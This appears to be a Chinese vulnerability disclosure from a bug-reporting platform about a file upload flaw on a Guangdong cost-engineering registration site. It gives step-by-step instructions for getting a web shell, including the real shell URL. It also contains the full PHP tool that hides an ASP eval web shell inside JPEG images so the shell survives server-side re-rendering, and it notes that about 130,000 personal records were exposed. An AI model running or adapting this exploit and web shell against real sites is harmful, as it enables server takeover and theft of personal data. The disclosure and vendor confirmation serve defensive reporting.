2015-03-31: 细节已通知厂商并且等待厂商处理中 2015-03-31: 厂商已经确认,细节仅向厂商公开 2015-04-10: 细节向核心白帽子及相关领域专家公开 2015-04-20: 细节向普通白帽子公开 2015-04-30: 细节向实习白帽子公开 2015-05-15: 细节向公众公开
现在貌似正在报名呢。数据挺值钱的吧!!!!
http://zjy.gdcost.com/首先注册一个普通报名的账号、。然后再头像上传处上传。但采用了二次渲染 ,用老外的方法直接绕过即可 首先上传一个普通图片http://zjy.gdcost.com/uploadImg_slt/2015-03/bbed6195-ad6f-4b21-b406-3145a6f1c5a2.jpg。然后把图片下载下来,用老外的jpgshell进行处理。然后再burp改包上传即可getshellshell地址:http://zjy.gdcost.com/uploadImg_slt/2015-03/037fdb58-0af8-4cb9-8479-d0499c80a687.asp
不要以为二次渲染就绝对安全了,现在已经可以完美绕过了
<?php /* The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image. 1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: php jpg_payload.php <jpg_name.jpg> In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */ $miniPayload = '<%eval request ("1")%>'; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?>
数据包含手机号邮箱地址身份证号等等。。完全符合黑产要求13万人事数据
菜刀返回数据都超时了。。
严格过滤我只是查了一下 说明严重性。没有保存数据 没有脱裤。不要查水表。还有友情提示一下。我之所以看到这个站是因为有前人发现了任意上传,但是还不会突破渲染,至于是做什么的,是不是黑产,我就不清楚了。快修复吧
危害等级:高
漏洞Rank:15
确认时间:2015-03-31 15:42
非常感谢您的报告。报告中的问题已确认并复现.影响的数据:高攻击成本:低造成影响:高综合评级为:高,rank:15正在联系相关网站管理单位处置。
暂无
洞主我有点没看明白啊。你给的POC是用来绕过PHP的imagecopyresized() 和 imagecopyresampled()函数的。但是人家用的是ASP。怎么绕过二次渲染?
可以绕过的,aspx也一样
求普及,,,,